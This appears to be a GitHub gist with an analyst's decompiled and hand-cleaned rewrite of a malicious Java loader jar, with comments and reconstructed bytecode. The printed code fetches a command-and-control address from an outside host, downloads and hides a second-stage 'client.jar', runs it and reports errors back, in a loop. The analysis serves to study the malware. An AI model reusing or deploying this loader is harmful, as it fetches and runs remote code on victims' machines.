Skip to content

Instantly share code, notes, and snippets.

@SilverAndro
Last active December 3, 2023 11:03
Show Gist options
  • Save SilverAndro/a992f85bec29bb248c354ccf5d2206fe to your computer and use it in GitHub Desktop.
Save SilverAndro/a992f85bec29bb248c354ccf5d2206fe to your computer and use it in GitHub Desktop.
lib.jar decompiled and rewritten
/**
* Boostrap.class
*
* Decompiler: Quiltflower
* Rewrite/Cleanup: SilverAndro
* Comment: Some nasty flow here, did my best to manually clean it up, QF even choked in a few cases
*/
import java.io.ByteArrayOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SeekableByteChannel;
import java.nio.channels.SocketChannel;
import java.nio.file.*;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Objects;
import java.util.function.Supplier;
public class Bootstrap {
public static ServerSocket serverSocket = null;
public static void runClient(Path path, InetAddress inetAddress, byte[] refBytes) {
try (URLClassLoader classLoader = new URLClassLoader(new URL[]{path.toUri().toURL()}, Bootstrap.class.getClassLoader())) {
Class<?> clientClass = Class.forName("dev.neko.nekoclient.Client", true, classLoader);
Method clientMain = clientClass.getMethod("start", InetSocketAddress.class, byte[].class);
clientMain.invoke(null, new InetSocketAddress(inetAddress, 1337), refBytes);
} catch (Throwable ignored) {}
}
public static InetSocketAddress downloadOrTryUpdateClient(Supplier<InetSocketAddress> addressSupplier, Path clientPath) {
boolean keepTrying = true;
InetSocketAddress socketAddress = null;
while (keepTrying) {
try {
SocketChannel socketChannel = SocketChannel.open();
socketAddress = addressSupplier.get();
socketChannel.connect(socketAddress);
try {
socketChannel.write(ByteBuffer.allocate(4).putInt(0).flip());
boolean continueUpdate = C2ByteBuffer.newFromChannel(socketChannel, 1).asBoolean();
if (!continueUpdate) {
throw new IllegalStateException();
}
byte[] downloadedHash = C2ByteBuffer
.newFromChannel(socketChannel, C2ByteBuffer.newFromChannel(socketChannel, 4).asInt())
.extractBytes();
boolean needsUpdate = true;
if (Files.exists(clientPath)) {
if (Files.isRegularFile(clientPath)) {
byte[] fileBytes = Files.readAllBytes(clientPath);
MessageDigest hash = MessageDigest.getInstance("MD5");
hash.update(fileBytes);
needsUpdate = !Arrays.equals(hash.digest(), downloadedHash);
}
}
socketChannel.write(ByteBuffer.allocate(1).put((byte)(needsUpdate ? 1 : 0)).flip());
if (needsUpdate) {
var fileOpenOptions = new OpenOption[] {StandardOpenOption.WRITE, StandardOpenOption.TRUNCATE_EXISTING, StandardOpenOption.CREATE};
try (SeekableByteChannel fileByteChannel = Files.newByteChannel(clientPath, fileOpenOptions)) {
int fileSize = C2ByteBuffer.newFromChannel(socketChannel, 4).asInt();
long readBytes;
for (int var10 = 0; var10 < fileSize && fileSize - var10 > 0; var10 = (int)((long) var10 + readBytes)) {
ByteBuffer newFile = ByteBuffer.allocate(Math.min(1024, fileSize - var10));
readBytes = socketChannel.read(newFile);
if (readBytes == -1) {
throw new EOFException();
}
fileByteChannel.write(newFile.flip());
}
}
}
socketChannel.write(ByteBuffer.allocate(4).putInt(0).flip());
socketChannel.close();
if (clientPath.getFileSystem().supportedFileAttributeViews().contains("dos")) {
Files.setAttribute(clientPath, "dos:hidden", true);
Files.setAttribute(clientPath, "dos:system", true);
}
} catch (Throwable exception) {
try {
SocketChannel openedChannel = SocketChannel.open();
openedChannel.connect(new InetSocketAddress(addressSupplier.get().getAddress(), 1338));
openedChannel.configureBlocking(true);
openedChannel.write(ByteBuffer.allocate(4).putInt(2).flip());
ByteArrayOutputStream stackTraceByteArray = new ByteArrayOutputStream();
exception.printStackTrace(new PrintStream(stackTraceByteArray));
byte[] stackTraceBytes = stackTraceByteArray.toByteArray();
openedChannel.write(ByteBuffer
.allocate(4 + stackTraceBytes.length)
.putInt(stackTraceBytes.length)
.put(stackTraceBytes)
.flip()
);
openedChannel.close();
} catch (IOException ignored) {}
}
} catch (IOException ignored) {}
try {
Thread.sleep(5000L);
} catch (InterruptedException var15) {
keepTrying = false;
continue;
}
keepTrying = false;
}
return socketAddress;
}
public static void main(String[] args) throws URISyntaxException, IOException, InterruptedException {
System.out.println(
"""
################################################
# #
# ## # # ## ### ### ## ### #
# # # # # # # # # # # # # #
# ### # # ### # # # ## # #
# # # ### ### # # # ### # # ### #
# #
# Obfuscation by Allatori Obfuscator v8.5 DEMO #
# #
# http://www.allatori.com #
# #
################################################
"""
);
// Worst, logic flow, ever
// I am only 70% certain on how this jumps
// See "WeirdBytecodeSocket" for the original bytecode
if (Objects.isNull(serverSocket) || serverSocket.isClosed()) {
serverSocket = new ServerSocket(9655);
var shutdownThread = new Thread(() -> {
try {
serverSocket.close();
} catch (IOException ignored) {
}
});
Runtime.getRuntime().addShutdownHook(shutdownThread);
} else {
if (!serverSocket.isBound()) {
serverSocket = new ServerSocket(9655);
var shutdownThread = new Thread(() -> {
try {
serverSocket.close();
} catch (IOException ignored) {
}
});
Runtime.getRuntime().addShutdownHook(shutdownThread);
}
}
var currentLocation = Paths.get(Bootstrap.class.getProtectionDomain().getCodeSource().getLocation().toURI());
var clientLocation = currentLocation.getParent().resolve("client.jar");
var refLocation = currentLocation.getParent().resolve(".ref");
byte[] refBytes = null;
if (Files.exists(refLocation) && Files.isReadable(refLocation)) {
refBytes = Files.readAllBytes(refLocation);
}
// This doesn't seem quite right, but uh, idk how else to read the bytecode here
// It def loops though, so I suspect this is fairly accurate
// See "WeirdBytecodeLoop" file for the original bytecode ive reconstructed this from
while (true) {
var address = downloadOrTryUpdateClient(Bootstrap::getSocketAddress, clientLocation);
runClient(clientLocation, address.getAddress(), refBytes);
Thread.sleep(5000);
}
}
// SYNTHETIC METHOD, separated for clarity
private static InetSocketAddress getSocketAddress() {
try {
var connection = new URL("https", "files-8ie.pages.dev", "/ip").openConnection();
connection.setRequestProperty("User-Agent", "a");
var output = new byte[4];
connection.getInputStream().read(output);
var address = InetAddress.getByAddress(output);
return new InetSocketAddress(address, 8083);
/*
* Comment: im only 95% certain on this, but all the bytecode just seems to throw eventually
* so i am declaring this Good Enough
*/
} catch (IOException err) {
throw new RuntimeException(err);
}
}
}
/**
* h.class
*
* Decompiler: Quiltflower
* Rewrite/Cleanup: SilverAndro
* Comment: Originally fully obfuscated, pretty easy to reverse though
*/
import java.io.EOFException;
import java.io.IOException;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.Objects;
public class C2ByteBuffer {
private final ByteBuffer byteBuffer;
public C2ByteBuffer(ByteBuffer buffer) {
byteBuffer = buffer;
}
public final char asChar() {
return byteBuffer.getChar();
}
public final boolean asBoolean() {
return byteBuffer.get() == 1;
}
public final byte asByte() {
return byteBuffer.get();
}
public final int modifiedShort() {
return byteBuffer.getShort() & 65535;
}
public final short asShort() {
return byteBuffer.getShort();
}
public final float asFloat() {
return byteBuffer.getFloat();
}
public final byte[] asByteArray() {
return byteBuffer.array();
}
public final byte[] extractBytes() {
byte[] output = new byte[byteBuffer.getInt()];
byteBuffer.get(output);
return output;
}
public static C2ByteBuffer newFromChannel(SocketChannel channel, int size) throws IOException {
var allocated = ByteBuffer.allocate(size);
while(allocated.remaining() > 0) {
if (Objects.equals(channel.read(allocated), -1) && allocated.remaining() > 0) {
throw new EOFException();
}
}
((Buffer)allocated).flip();
return new C2ByteBuffer(allocated);
}
public final String asString() {
return new String(asByteArray());
}
public final double asDouble() {
return byteBuffer.getDouble();
}
public final ByteBuffer getByteBuffer() {
return byteBuffer;
}
public final long asLong() {
return byteBuffer.getLong();
}
public final int asInt() {
return byteBuffer.getInt();
}
}
// af: aload 0
// b0: invokedynamic get ()Ljava/util/function/Supplier; bsm=java/lang/invoke/LambdaMetafactory.metafactory (Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; args=[ ()Ljava/lang/Object;, Bootstrap.ALLATORIxDEMO ()Ljava/net/InetSocketAddress;, ()Ljava/net/InetSocketAddress; ]
// b5: aload 0
// b6: invokestatic Bootstrap.ALLATORIxDEMO (Ljava/util/function/Supplier;Ljava/nio/file/Path;)Ljava/net/InetSocketAddress;
// b9: invokevirtual java/net/InetSocketAddress.getAddress ()Ljava/net/InetAddress;
// bc: aload 3
// bd: invokestatic Bootstrap.ALLATORIxDEMO (Ljava/nio/file/Path;Ljava/net/InetAddress;[B)V
// c0: goto c4
// c3: pop
// c4: ldc2_w 5000
// c7: invokestatic java/lang/Thread.sleep (J)V
// ca: aload 0
// cb: goto b0
// ce: pop
// cf: aload 0
// d0: goto b0
// 0e: getstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket;
// 11: invokestatic java/util/Objects.isNull (Ljava/lang/Object;)Z
// 14: ifne 29
// 17: getstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket;
// 1a: invokevirtual java/net/ServerSocket.isClosed ()Z
// 1d: ifne 29
// 20: getstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket;
// 23: invokevirtual java/net/ServerSocket.isBound ()Z
// 26: ifne 4f
// 29: new java/net/ServerSocket
// 2c: dup
// 2d: sipush 9655
// 30: invokespecial java/net/ServerSocket.<init> (I)V
// 33: putstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket;
// 36: invokestatic java/lang/Runtime.getRuntime ()Ljava/lang/Runtime;
// 39: new java/lang/Thread
// 3c: dup
// 3d: invokedynamic run ()Ljava/lang/Runnable; bsm=java/lang/invoke/LambdaMetafactory.metafactory (Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; args=[ ()V, Bootstrap.ALLATORIxDEMO ()V, ()V ]
// 42: invokespecial java/lang/Thread.<init> (Ljava/lang/Runnable;)V
// 45: invokevirtual java/lang/Runtime.addShutdownHook (Ljava/lang/Thread;)V
// 48: goto 4f
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment